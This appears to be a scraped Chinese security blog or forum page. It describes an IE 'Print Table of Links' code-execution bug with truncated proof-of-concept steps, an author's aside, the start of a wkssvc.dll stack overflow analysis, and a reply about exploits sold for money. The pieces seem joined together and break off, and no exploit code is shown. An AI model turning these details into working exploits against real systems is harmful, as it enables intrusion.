这个漏洞是由于微软IE浏览器启动“Print Table of Links”时引起的跨站攻击（Cross-Zone Scripting ）
如果启用了 “Print Table of Links”，在打印一个网页的时候，能够导致执行任意代码。
1.选择“Print Table of Links”选项
2.把保存以下代码为HTML格式，用IE打开，并打印，会执行calc.exe。
<html>
<body>

关于此文作者说明：本来只想在自己的blog里面写个漏洞，测试下几个徒弟和朋友的水平的，还有部分原因在此不方便说。谁知前几日访问量较大，被转载到国内外
的N多的XX站，竟然还被一些“大牛蛙”拿过去研究，当然还有部分伪黑客们，一试便知。来看的人里面，能统计到的，
不乏wei软公司（貌似看了一遍又一遍，赞一下）、大陆&taiwan的“大牛蛙”（例如scz牛，lake2的朋友…..）、国外的“巨牛”(米国、棒棒们、罗马尼亚、法国、德国的xxx)等等。
现在结果已经明朗，这个漏洞有几个问题：
1.根本就不是stack overflow,和部分人开了个小玩笑
2.远程不可以利用（估计只有真正去朔源的真正的“大牛蛙们”才能明白）
3.0day是有的，但是不在这里
所以想搞EXP或者POC的人，以下的内容可以忽略了
下面附上RPC分析方法一文，见笑了！
Microsoft Windows WorkStation 服务(windows xp sp3)存在栈溢出漏洞。
a5这个参数,由于在执行wcscpy的字符串拷贝前，没有校验字符串的长度，因此会诱发栈缓冲区溢出（Stack Overflow） ，成功利用可以远程执行任意代码。
存在漏洞DLL 文件： wkssvc 或者 wkssvc.dll
DLL 名称： Network Workstation service library
描述：
wkssvc.dll是本地系统进行远程文件打印相关服务文件。
属于： Windows
系统 DLL文件：…

好吧。被人发出来了。上周末还有人5000一小马。甚至一开始有12W出售的。
湛江那边更新了发出来了。我也发给吧。。。不分析。上代码。
